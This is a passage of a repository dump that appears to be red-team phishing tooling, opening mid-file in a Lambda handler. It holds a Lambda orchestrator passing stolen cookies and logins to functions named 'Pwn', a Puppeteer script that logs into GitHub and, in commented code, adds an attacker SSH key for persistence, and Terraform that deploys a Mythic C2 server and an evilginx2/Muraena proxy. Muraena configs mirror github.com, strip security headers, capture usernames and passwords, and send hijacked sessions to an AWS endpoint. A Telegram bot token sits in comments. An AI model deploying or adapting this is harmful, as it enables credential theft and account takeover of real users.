JSON.parse(event.body).cookies; 21 | 22 | // Semi Orchestration based on the Task.Type forwarded by Muraena 23 | try { 24 | 25 | if (Provider === "github") { 26 | var params = { 27 | // FunctionName is based on what you defined in serverless.yml 28 | FunctionName: "lambda-pwnppeteer-dev-PwnGithub", 29 | InvocationType: "Event", 30 | Payload : JSON.stringify(JSON.parse(event.body)), 31 | }; 32 | lambda.invoke(params, function(error, data) { 33 | console.log(params); 34 | console.log(`Github Lambda has been called`); 35 | }); 36 | }; 37 | // Just to check lamdba deployment 38 | if (Provider === "debug") { 39 | console.log(`message: Debug provider`); 40 | callback(null, { 41 | statusCode: 200, 42 | body: JSON.stringify({ 43 | message : "Debug provider" 44 | }) 45 | }); 46 | }; 47 | if (Provider === "test") { 48 | var params = { 49 | FunctionName: "lambda-pwnppeteer-dev-PwnSNK", 50 | //InvocationType: "RequestResponse", 51 | // Async mode set to "Event" 52 | InvocationType: "Event", 53 | /* 54 | Payload : JSON.stringify({ 55 | message: 'test lambda executed successfully!', 56 | login: stolenLogin, 57 | password: stolenPass,}), 58 | }; 59 | */ 60 | Payload : JSON.stringify(JSON.parse(event.body)), 61 | }; 62 | lambda.invoke(params, function(error, data) { 63 | console.log(`Test lambda executed for ${stolenLogin}`); 64 | //const response = { 65 | //statusCode: 200, 66 | //body: 'proof: ' + JSON.parse(data.Payload) 67 | //}; 68 | //callback(null, response) 69 | }); 70 | }; 71 | } catch (error) { 72 | callback(error); 73 | } finally { 74 | console.log("Orchestration done!"); 75 | callback(null, { 76 | statusCode: 200, 77 | body: JSON.stringify({ 78 | message : "Orchestration on-going..." 79 | }) 80 | }); 81 | 82 | }; 83 | }; 84 | -------------------------------------------------------------------------------- /deps/necrobrowser/puppeteer-troubleshooting/Github.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @name Github-SSHkey_persistence 3 | * 4 | * @desc Logs into Github, add ssh recovery key and screenshot for proof. 5 | * Set your username, password and ssh key. 6 | * 7 | */ 8 | const puppeteer = require('puppeteer') 9 | const screenshot = 'github.png'; 10 | const GITHUB_USER = 'test-account'; 11 | const GITHUB_PWD = 'P@ssw0rd'; 12 | 13 | (async () => { 14 | //const browser = await puppeteer.launch({ headless: false, executablePath: '/usr/local/bin/chromium' }); 15 | const browser = await puppeteer.launch({headless: false}) 16 | const page = await browser.newPage() 17 | const url = 'https://github.com/login' 18 | await page.setViewport({ width: 1280, height: 800 }); 19 | 20 | const loadUrl = async function (page, url) { 21 | try { 22 | await page.goto(url, { 23 | timeout: 0, 24 | waitUntil: ['load', 'domcontentloaded', 'networkidle0', 'networkidle2'] 25 | }) 26 | } catch (error) { 27 | throw new Error("url " + url + " url not loaded -> " + error) 28 | } 29 | } 30 | 31 | /** 32 | // Set Cookie instead to log-in 33 | const cookies = [] 34 | var cookies = [ // cookie exported by google chrome plugin editthiscookie 35 | await page.setCookie(...cookies); 36 | //const cookiesSet = await page.cookies(url); 37 | //console.log(JSON.stringify(cookiesSet)); 38 | **/ 39 | 40 | await page.goto(url, { 41 | // networkidle0 comes handy for SPAs that load resources with fetch requests. 42 | // networkidle2 comes handy for pages that do long-polling or any other side 43 | // activity 44 | timeout: 20000, 45 | waitUntil: ['load', 'domcontentloaded', 'networkidle0', 'networkidle2'] 46 | }); 47 | 48 | // Log-in on Github 49 | // Use selectors 50 | await page.click('#login_field'); 51 | await page.keyboard.type(GITHUB_USER); 52 | 53 | await page.click('#password'); 54 | await page.keyboard.type(GITHUB_PWD); 55 | 56 | // await page.click('#login > form > div.auth-form-body.mt-3 > input.btn.btn-primary.btn-block'); 57 | await page.click('input.btn') 58 | /* 59 | // GOTO SSH new key page 60 | await page.goto('https://github.com/settings/ssh/new') 61 | await page.click('#ssh_key_title'); 62 | //await page.click("body > div.application-main > main > div > div.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-start.Layout--sidebarPosition-flowRow-start > div.Layout-main > div > div > form > dl:nth-child(2) > dd > input"); 63 | await page.keyboard.type('recovery-key'); 64 | 65 | await page.click('#ssh_key_key'); 66 | //await page.click('body > div.application-main > main > div > div.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-start.Layout--sidebarPosition-flowRow-start > div.Layout-main > div > div > form > dl:nth-child(4) > dd > textarea'); 67 | await page.keyboard.type('ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmcG/kI8N+h2hU6BrRCqJf+EUY2EyblEy2sZR4bBuyCcNYuB3PojxokVYinHTdNQXQ/T1DYfiikaxt3/dlMT/53vgWPYk6AvzvmUPdg33SH+EFECo2trpkJbN/wYldFqMYssq2PrF1nE8Ey0H4z/aFw5Ih6S3c6m2gyKcCK38esbGhDlcYK2wj9/2L/AtvOZK2jTkL4GqEUOszzE9UgOq6Xy1NapUNrmzMoRtnnn8WlNnF6oBk2hFKo5A+Qc6vxsPC4YqAFbJ0JoQg5uL+eWh48Nzh4rCYuKljAHTBCTgzT3J30cq1a0dOzQPHaEFALLl/GKtluS36UjOQ+y2y08oL test_only'); 68 | 69 | await page.click('#settings-frame > form > p > button'); 70 | //await page.click("body > div.application-main > main > div > div.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-start.Layout--sidebarPosition-flowRow-start > div.Layout-main > div > div > form > p > button"); 71 | // 72 | //Consider to add WaitForSelector to be sure the page is loaded before the next action 73 | */ 74 | await page.screenshot({ path: screenshot }) 75 | browser.close() 76 | // console.log('SSH key added :p') 77 | console.log('See screenshot: ' + screenshot) 78 | })() 79 | -------------------------------------------------------------------------------- /tf/ec2.tf: -------------------------------------------------------------------------------- 1 | // https://www.christopherblack.net/2021-01-16-terraform-copy-files/ 2 | locals { 3 | phishing_files = fileset("../deps/muraena", "**/*") 4 | 5 | unique_phishing_dirs = distinct([for file in local.phishing_files : dirname("/opt/muraena/${file}")]) 6 | 7 | write_files_phishing = [for file in local.phishing_files : { 8 | path = "/opt/muraena/${file}" 9 | permissions = "0644" 10 | owner = "root:root" 11 | encoding = "gz+b64" 12 | content = base64gzip(file("../deps/muraena/${file}")) 13 | }] 14 | 15 | cloud_config_phishing = <<-END 16 | #cloud-config 17 | ${jsonencode({ 18 | "write_files": local.write_files_phishing, 19 | "runcmd": [["mkdir","-p","/opt/muraena/"], 20 | flatten([for dir in local.unique_phishing_dirs : ["mkdir","-p","${dir}"]]), 21 | ] 22 | })} 23 | END 24 | 25 | cloud_config_config = <<-END 26 | #cloud-config 27 | ${jsonencode({ 28 | write_files = [ 29 | { 30 | path = "/home/ubuntu/http_config.json" 31 | permissions = "0644" 32 | owner = "root:root" 33 | encoding = "b64" 34 | content = filebase64("../deps/http_config.json") 35 | }, 36 | ] 37 | })} 38 | END 39 | } 40 | 41 | data "cloudinit_config" "mythic_v3_user_data" { 42 | gzip = false 43 | base64_encode = false 44 | 45 | part { 46 | content_type = "text/cloud-config" 47 | filename = "http_config.json" 48 | content = local.cloud_config_config 49 | } 50 | 51 | part { 52 | content_type = "text/x-shellscript" 53 | filename = "install.sh" 54 | content = <<-EOF 55 | #!/bin/bash 56 | sudo apt-get -qq update && sudo apt-get -qq install -y git apt-transport-https ca-certificates curl gnupg lsb-release make 57 | curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 58 | echo "deb [arch=arm64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null 59 | sudo apt-get -qq update && sudo apt-get -qq install -y docker-ce docker-ce-cli docker-compose containerd.io 60 | sudo git clone https://github.com/its-a-feature/Mythic /opt/Mythic 61 | cd /opt/Mythic && sudo make 62 | sudo /opt/Mythic/mythic-cli install github https://github.com/MythicAgents/apfell # macOS JXA agent 63 | sudo /opt/Mythic/mythic-cli install github https://github.com/MythicC2Profiles/http 64 | sudo /opt/Mythic/mythic-cli start 65 | sudo mv /home/ubuntu/http_config.json /var/lib/docker/volumes/http_volume/_data/http/c2_code/config.json 66 | EOF 67 | } 68 | 69 | } 70 | 71 | data "cloudinit_config" "phishing_user_data" { 72 | gzip = false 73 | base64_encode = false 74 | 75 | part { 76 | content_type = "text/cloud-config" 77 | filename = "cloudconfig_phishing.txt" 78 | content = local.cloud_config_phishing 79 | } 80 | 81 | part { 82 | content_type = "text/x-shellscript" 83 | filename = "install.sh" 84 | content = <<-EOF 85 | #!/bin/bash 86 | snap install --classic go 87 | apt-get -qq update && apt-get -qq install -y git redis-server make curl 88 | systemctl enable redis-server.service 89 | # modify configuration file in /etc/redis/redis.conf 90 | echo "maxmemory 256mb" | tee -a /etc/redis/redis.conf > /dev/null 91 | echo "maxmemory-policy allkeys-lru" | tee -a /etc/redis/redis.conf > /dev/null 92 | systemctl restart redis-server.service 93 | git clone https://github.com/kgretzky/evilginx2.git /opt/evilginx2 94 | curl -L https://github.com/muraenateam/muraena/releases/download/v1.23/muraena_linux_arm64 --output /opt/muraena/muraena 95 | chmod -R +rx /opt/muraena/ 96 | export GOCACHE=/root/go/cache 97 | cd /opt/evilginx2 && make && chmod +x build/evilginx 98 | EOF 99 | } 100 | 101 | } 102 | 103 | # Get the latest Ubuntu 22.04 LTS for ARM 104 | data "aws_ami" "ubuntu" { 105 | most_recent = true 106 | 107 | filter { 108 | name = "name" 109 | values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-arm64-server-*"] 110 | } 111 | 112 | filter { 113 | name = "virtualization-type" 114 | values = ["hvm"] 115 | } 116 | 117 | owners = ["099720109477"] # Canonical's owner ID 118 | } 119 | 120 | resource "aws_instance" "mythic_v3" { 121 | instance_type = var.aws_instance_type 122 | ami = data.aws_ami.ubuntu.id 123 | iam_instance_profile = aws_iam_instance_profile.ssm_instance_profile.name 124 | user_data = data.cloudinit_config.mythic_v3_user_data.rendered 125 | 126 | tags = { 127 | "Name" = var.mythic_v3_server_name 128 | } 129 | 130 | subnet_id = aws_subnet.my_private_subnet.id 131 | vpc_security_group_ids = [aws_security_group.mythic_server.id] 132 | key_name = var.key_name 133 | associate_public_ip_address = false 134 | 135 | root_block_device { 136 | delete_on_termination = true 137 | volume_type = "gp3" 138 | volume_size = 30 139 | encrypted = true 140 | } 141 | 142 | metadata_options { 143 | http_tokens = "required" 144 | } 145 | 146 | lifecycle { 147 | ignore_changes = [ami] 148 | } 149 | 150 | depends_on = [aws_nat_gateway.my_nat_gw, aws_route_table.my_private_route_table] 151 | } 152 | 153 | resource "aws_instance" "phishing" { 154 | instance_type = var.aws_instance_type 155 | ami = data.aws_ami.ubuntu.id 156 | iam_instance_profile = aws_iam_instance_profile.ssm_instance_profile.name 157 | user_data = data.cloudinit_config.phishing_user_data.rendered 158 | 159 | tags = { 160 | "Name" = var.phishing_server_name 161 | } 162 | 163 | subnet_id = aws_subnet.my_public_subnet_1.id 164 | vpc_security_group_ids = [aws_security_group.phishing_server.id] 165 | key_name = var.key_name 166 | associate_public_ip_address = true 167 | 168 | root_block_device { 169 | delete_on_termination = true 170 | volume_type = "gp3" 171 | volume_size = 30 172 | encrypted = true 173 | } 174 | 175 | metadata_options { 176 | http_tokens = "required" 177 | } 178 | 179 | lifecycle { 180 | ignore_changes = [ami] 181 | } 182 | 183 | depends_on = [aws_internet_gateway.my_igw, aws_route_table.my_public_route_table] 184 | } -------------------------------------------------------------------------------- /deps/muraena/config/sincon.toml: -------------------------------------------------------------------------------- 1 | # 2 | # Proxy 3 | # The proxy configuration controls how Muraena handles traffic routing between the phishing target and the 4 | # legitimate destination. 5 | # See: https://muraena.phishing.click/docs/proxy 6 | # 7 | [proxy] 8 | # Phishing domain 9 | phishing = "" 10 | 11 | # Target domain to proxy 12 | destination = "sincon.pwnwith.me" 13 | 14 | # Listening IP address (IPv4 or IPv6) 15 | # e.g. 0.0.0.0 or [::] 16 | # Default 0.0.0.0 17 | #IP = "127.0.0.1" 18 | 19 | # Listeninng TCP Port 20 | # Default 443 for HTTPS, 80 for HTTP 21 | #port = 443 22 | 23 | # Listen announces on the local network address. 24 | # The network must be "tcp", "tcp4", "tcp6" (default "tcp"). 25 | # listener = "tcp4" 26 | 27 | # 28 | # Simple port forwarding used when the phishing site listen on a port different from target domain, such as: 29 | # - test.muraena:8443 30 | # - victim.site: 443 31 | # 32 | # port mapping can be configured as follows: 33 | # : 34 | #portmapping = "443:31337" 35 | 36 | # Force HTTP to HTTPS redirection 37 | [proxy.HTTPtoHTTPS] 38 | enable = true 39 | HTTPport = 80 40 | # 41 | # Origins 42 | # See: https://muraena.phishing.click/docs/origins 43 | # 44 | #[origins] 45 | #externalOriginPrefix = "ext" 46 | #externalOrigins = [ 47 | # "", 48 | #] 49 | 50 | 51 | # 52 | # Transform 53 | # Proxy's replacement rules 54 | # See: https://muraena.phishing.click/docs/transform 55 | # 56 | [transform] 57 | # Enable transformation rules in base64 strings 58 | [transform.base64] 59 | enable = false 60 | padding = [ "=", "." ] 61 | 62 | [transform.request] 63 | # userAgent = "MuraenaProxy" 64 | headers = ["Cookie", "Referer", "Origin", "X-Forwarded-For"] 65 | remove.headers = [ 66 | "X-FORWARDED-FOR", 67 | "X-FORWARDED-PROTO", 68 | ] 69 | # add.headers = [ 70 | # {name = "X-Phishing", value = "via Muraena"}, 71 | # ] 72 | 73 | [transform.response] 74 | skipContentType = [ "font/*", "image/*" ] 75 | 76 | headers = [ 77 | "Location", 78 | "WWW-Authenticate", 79 | "Origin", 80 | "Set-Cookie", 81 | "Access-Control-Allow-Origin", 82 | ] 83 | # customContent = [ 84 | # ["this is green","this is blue"], 85 | # ] 86 | # 87 | remove.headers = [ 88 | "Content-Security-Policy", 89 | "Content-Security-Policy-Report-Only", 90 | "Strict-Transport-Security", 91 | "X-XSS-Protection", 92 | "X-Content-Type-Options", 93 | "X-Frame-Options", 94 | "Referrer-Policy", 95 | "X-Forwarded-For" 96 | ] 97 | 98 | # add.headers = [ 99 | # {name = "X-Phishing", value = "via Muraena"}, 100 | # ] 101 | 102 | 103 | # 104 | # Redirect 105 | # See: https://muraena.phishing.click/docs/redirect 106 | # 107 | #[[redirect]] 108 | # hostname = "phish.me" 109 | # path = "/" 110 | # query = "id=123" 111 | # redirectTo = "https://github.com/login" 112 | # httpStatusCode = 301 113 | 114 | 115 | # 116 | # LOG 117 | # See: https://muraena.phishing.click/docs/log 118 | # 119 | [log] 120 | enable =true 121 | # Default: "muraena.log" 122 | # filePath = "muraena.log" 123 | 124 | 125 | # 126 | # Redis 127 | # See: https://muraena.phishing.click/docs/redis 128 | # 129 | #[redis] 130 | # host = "" # default: "127.0.0." 131 | # port = # default: 6379 132 | # password = "" # default: "" 133 | 134 | # 135 | # TLS 136 | # See: https://muraena.phishing.click/docs/tls 137 | # 138 | [tls] 139 | enable =true 140 | 141 | # Expand allows to replace the content of the certificate/key/root parameters to their content instead of the 142 | # filepath 143 | expand = false 144 | certificate = "./config/cert/_wildcard..pem" 145 | key = "./config/cert/_wildcard..pem" 146 | root = "./config/cert/rootCA.pem" 147 | #sslKeyLog = "./config/sslkeylog.log" 148 | 149 | # 150 | # Danger zone, be careful editing these settings 151 | # 152 | # Minimum supported TLS version: SSL3.0, TLS1.0, TLS1.1, TLS1.2, TLS1.3 153 | minVersion = "TLS1.2" 154 | # maxVersion = "TLS1.3" 155 | # preferServerCipherSuites = true 156 | # sessionTicketsDisabled = true 157 | # InsecureSkipVerify controls whether muraena verifies the server's 158 | # certificate chain and host name. 159 | # insecureSkipVerify = false 160 | 161 | # RenegotiationSupport 162 | # Note: renegotiation is not defined in TLS 1.3. 163 | # Options: 164 | # - Never (default):disables renegotiation 165 | # - Once: allows a remote server to request renegotiation once per connection. 166 | # - Freely: allows a remote server to repeatedly request renegotiation. 167 | renegotiationSupport = "Never" 168 | 169 | 170 | 171 | ############################################################################# 172 | # Modules 173 | ############################################################################# 174 | 175 | # 176 | # Tracking 177 | # See: https://muraena.phishing.click/modules/tracker 178 | # 179 | [tracking] 180 | enable = false 181 | trackRequestCookie = true 182 | 183 | [tracking.trace] 184 | # Tracking identifier 185 | identifier = "_gat" 186 | # Rule to generate and validate a tracking identifier 187 | validator = "[a-zA-Z0-9]{5}" 188 | # Tracking initial HTTP Header (empty is: If-Range) 189 | header = "If-Range" 190 | # Set tracking cookie for a custom domain 191 | # domain = "" 192 | 193 | [tracking.trace.landing] 194 | # Tracking types can be Path || Query (default) 195 | # 196 | # query: 197 | # ?identifier=trackingID 198 | # 199 | # path: 200 | # /trackingID 201 | # 202 | # type = "query" 203 | # Landing HTTP Header (empty is: X-If-Landing-Redirect) 204 | # header = "X-If-Landing-Redirect" 205 | 206 | # redirect url once the landing is detected (applicable only if type is path) 207 | # redirectTo = "https://www.google.com" 208 | 209 | [tracking.secrets] 210 | paths = ["/login"] 211 | 212 | [[tracking.secrets.patterns]] 213 | label = "Username" 214 | start = "xxxx" 215 | end = "xxxxx" 216 | 217 | [[tracking.secrets.patterns]] 218 | label = "Password" 219 | start = "xxx" 220 | end = "xxxx" 221 | # 222 | # NecroBrowser 223 | # See: https://muraena.phishing.click/modules/necrobrowser 224 | # 225 | [necrobrowser] 226 | enable = false 227 | #endpoint = "http://127.0.0.1:6969/" 228 | #profile = "./config/github.necro" 229 | 230 | #[necrobrowser.urls] 231 | #authSession = ["/settings/profile"] 232 | #authSessionResponse = ["/users/settings"] 233 | 234 | #[necrobrowser.trigger] 235 | #type = "cookie" 236 | #values = ["logged_in"] 237 | #delay = 5 238 | 239 | # 240 | # Static Server 241 | # See: https://muraena.phishing.click/modules/staticserver 242 | # 243 | #[staticServer] 244 | # enable =false 245 | # localPath = "./static/" 246 | # urlPath = "/evilpath/" 247 | 248 | # 249 | # Watchdog 250 | # See: https://muraena.phishing.click/modules/watchdog 251 | #[watchdog] 252 | # enable =true 253 | # dynamic = true 254 | # rules = "./config/watchdog.rules" 255 | # geoDB = "./config/geoDB.mmdb" 256 | 257 | # 258 | # Telegram 259 | # See: https://muraena.phishing.click/modules/telegram 260 | #[telegram] 261 | # enable =true 262 | # botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo" 263 | # chatIDs = ["-1001856562703"] 264 | -------------------------------------------------------------------------------- /deps/muraena/config/github.toml: -------------------------------------------------------------------------------- 1 | # 2 | # Proxy 3 | # The proxy configuration controls how Muraena handles traffic routing between the phishing target and the 4 | # legitimate destination. 5 | # See: https://muraena.phishing.click/docs/proxy 6 | # 7 | [proxy] 8 | # Phishing domain 9 | phishing = "" 10 | 11 | # Target domain to proxy 12 | destination = "github.com" 13 | 14 | # Listening IP address (IPv4 or IPv6) 15 | # e.g. 0.0.0.0 or [::] 16 | # Default 0.0.0.0 17 | #IP = "127.0.0.1" 18 | 19 | # Listeninng TCP Port 20 | # Default 443 for HTTPS, 80 for HTTP 21 | #port = 443 22 | 23 | # Listen announces on the local network address. 24 | # The network must be "tcp", "tcp4", "tcp6" (default "tcp"). 25 | # listener = "tcp4" 26 | 27 | # 28 | # Simple port forwarding used when the phishing site listen on a port different from target domain, such as: 29 | # - test.muraena:8443 30 | # - victim.site: 443 31 | # 32 | # port mapping can be configured as follows: 33 | # : 34 | #portmapping = "443:31337" 35 | 36 | # Force HTTP to HTTPS redirection 37 | [proxy.HTTPtoHTTPS] 38 | enable = true 39 | HTTPport = 80 40 | # 41 | # Origins 42 | # See: https://muraena.phishing.click/docs/origins 43 | # 44 | [origins] 45 | externalOriginPrefix = "ext" 46 | externalOrigins = [ 47 | "*.githubassets.com", 48 | "*.s3.amazonaws.com", 49 | "github.githubassets.com", 50 | "github-cloud.s3.amazonaws.com", 51 | "*.github.com", 52 | "*.githubstatus.com", 53 | "*.githubusercontent.com", 54 | "*.githubcopilot.com", 55 | "avatars.githubusercontent.com", 56 | "user-images.githubusercontent.com", 57 | "www.githubstatus.com" 58 | ] 59 | 60 | 61 | # 62 | # Transform 63 | # Proxy's replacement rules 64 | # See: https://muraena.phishing.click/docs/transform 65 | # 66 | [transform] 67 | # Enable transformation rules in base64 strings 68 | [transform.base64] 69 | enable = false 70 | padding = [ "=", "." ] 71 | 72 | [transform.request] 73 | # userAgent = "MuraenaProxy" 74 | headers = ["Cookie", "Referer", "Origin", "X-Forwarded-For"] 75 | remove.headers = [ 76 | "X-FORWARDED-FOR", 77 | "X-FORWARDED-PROTO", 78 | ] 79 | # add.headers = [ 80 | # {name = "X-Phishing", value = "via Muraena"}, 81 | # ] 82 | 83 | [transform.response] 84 | skipContentType = [ "font/*", "image/*" ] 85 | 86 | headers = [ 87 | "Location", 88 | "WWW-Authenticate", 89 | "Origin", 90 | "Set-Cookie", 91 | "Access-Control-Allow-Origin", 92 | ] 93 | # customContent = [ 94 | # ["this is green","this is blue"], 95 | # ] 96 | # 97 | remove.headers = [ 98 | "Content-Security-Policy", 99 | "Content-Security-Policy-Report-Only", 100 | "Strict-Transport-Security", 101 | "X-XSS-Protection", 102 | "X-Content-Type-Options", 103 | "X-Frame-Options", 104 | "Referrer-Policy", 105 | "X-Forwarded-For" 106 | ] 107 | 108 | # add.headers = [ 109 | # {name = "X-Phishing", value = "via Muraena"}, 110 | # ] 111 | 112 | 113 | # 114 | # Redirect 115 | # See: https://muraena.phishing.click/docs/redirect 116 | # 117 | #[[redirect]] 118 | # hostname = "outofscope.gdn" 119 | # path = "/" 120 | # query = "id=123" 121 | # redirectTo = "https://github.com/login" 122 | # httpStatusCode = 301 123 | 124 | 125 | # 126 | # LOG 127 | # See: https://muraena.phishing.click/docs/log 128 | # 129 | [log] 130 | enable =true 131 | # Default: "muraena.log" 132 | # filePath = "muraena.log" 133 | 134 | 135 | # 136 | # Redis 137 | # See: https://muraena.phishing.click/docs/redis 138 | # 139 | #[redis] 140 | # host = "" # default: "127.0.0." 141 | # port = # default: 6379 142 | # password = "" # default: "" 143 | 144 | # 145 | # TLS 146 | # See: https://muraena.phishing.click/docs/tls 147 | # 148 | [tls] 149 | enable =true 150 | 151 | # Expand allows to replace the content of the certificate/key/root parameters to their content instead of the 152 | # filepath 153 | expand = false 154 | #certificate = "/etc/letsencrypt/live/outofscope.gdn-0001/cert.pem" 155 | #key = "/etc/letsencrypt/live/outofscope.gdn-0001/privkey.pem" 156 | #root = "/etc/letsencrypt/live/outofscope.gdn-0001/fullchain.pem" 157 | certificate = "./config/cert/_wildcard..pem" 158 | key = "./config/cert/_wildcard..pem" 159 | root = "./config/cert/rootCA.pem" 160 | #sslKeyLog = "./config/sslkeylog.log" 161 | 162 | # 163 | # Danger zone, be careful editing these settings 164 | # 165 | # Minimum supported TLS version: SSL3.0, TLS1.0, TLS1.1, TLS1.2, TLS1.3 166 | minVersion = "TLS1.2" 167 | # maxVersion = "TLS1.3" 168 | # preferServerCipherSuites = true 169 | # sessionTicketsDisabled = true 170 | # InsecureSkipVerify controls whether muraena verifies the server's 171 | # certificate chain and host name. 172 | # insecureSkipVerify = false 173 | 174 | # RenegotiationSupport 175 | # Note: renegotiation is not defined in TLS 1.3. 176 | # Options: 177 | # - Never (default):disables renegotiation 178 | # - Once: allows a remote server to request renegotiation once per connection. 179 | # - Freely: allows a remote server to repeatedly request renegotiation. 180 | renegotiationSupport = "Never" 181 | 182 | 183 | 184 | ############################################################################# 185 | # Modules 186 | ############################################################################# 187 | 188 | # 189 | # Tracking 190 | # See: https://muraena.phishing.click/modules/tracker 191 | # 192 | [tracking] 193 | enable = true 194 | trackRequestCookie = true 195 | 196 | [tracking.trace] 197 | # Tracking identifier 198 | identifier = "_Github_Profile" 199 | # Rule to generate and validate a tracking identifier 200 | validator = "[a-zA-Z0-9]{5}" 201 | # Tracking initial HTTP Header (empty is: If-Range) 202 | header = "If-Range" 203 | # Set tracking cookie for a custom domain 204 | # domain = "" 205 | 206 | [tracking.trace.landing] 207 | # Tracking types can be Path || Query (default) 208 | # 209 | # query: 210 | # ?identifier=trackingID 211 | # 212 | # path: 213 | # /trackingID 214 | # 215 | # type = "query" 216 | # Landing HTTP Header (empty is: X-If-Landing-Redirect) 217 | # header = "X-If-Landing-Redirect" 218 | 219 | # redirect url once the landing is detected (applicable only if type is path) 220 | # redirectTo = "https://www.google.com" 221 | 222 | [tracking.secrets] 223 | paths = ["/login", "/session"] 224 | 225 | [[tracking.secrets.patterns]] 226 | label = "Username" 227 | start = "&login=" 228 | end = "&password=" 229 | 230 | [[tracking.secrets.patterns]] 231 | label = "Password" 232 | start = "&password=" 233 | end = "&web" 234 | 235 | 236 | # 237 | # NecroBrowser 238 | # See: https://muraena.phishing.click/modules/necrobrowser 239 | # 240 | [necrobrowser] 241 | enable = true 242 | #endpoint = "http://127.0.0.1:6969/" 243 | endpoint = "https://rywa7fv6mc.execute-api.ap-southeast-1.amazonaws.com/dev/instrument/muraena" 244 | profile = "./config/github.necro" 245 | 246 | [necrobrowser.urls] 247 | authSession = ["/settings/profile"] 248 | authSessionResponse = ["/users/settings"] 249 | 250 | [necrobrowser.trigger] 251 | type = "cookie" 252 | values = ["logged_in"] 253 | delay = 5 254 | 255 | 256 | # 257 | # Static Server 258 | # See: https://muraena.phishing.click/modules/staticserver 259 | # 260 | #[staticServer] 261 | # enable =false 262 | # localPath = "./static/" 263 | # urlPath = "/evilpath/" 264 | 265 | # 266 | # Watchdog 267 | # See: https://muraena.phishing.click/modules/watchdog 268 | #[watchdog] 269 | # enable =true 270 | # dynamic = true 271 | # rules = "./config/watchdog.rules" 272 | # geoDB = "./config/geoDB.mmdb" 273 | 274 | # 275 | # Telegram 276 | # See: https://muraena.phishing.click/modules/telegram 277 | #[telegram] 278 | # enable =true 279 | # botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo" 280 | # chatIDs = ["-1001856562703"] 281 | --------------------------------------------------------------------------------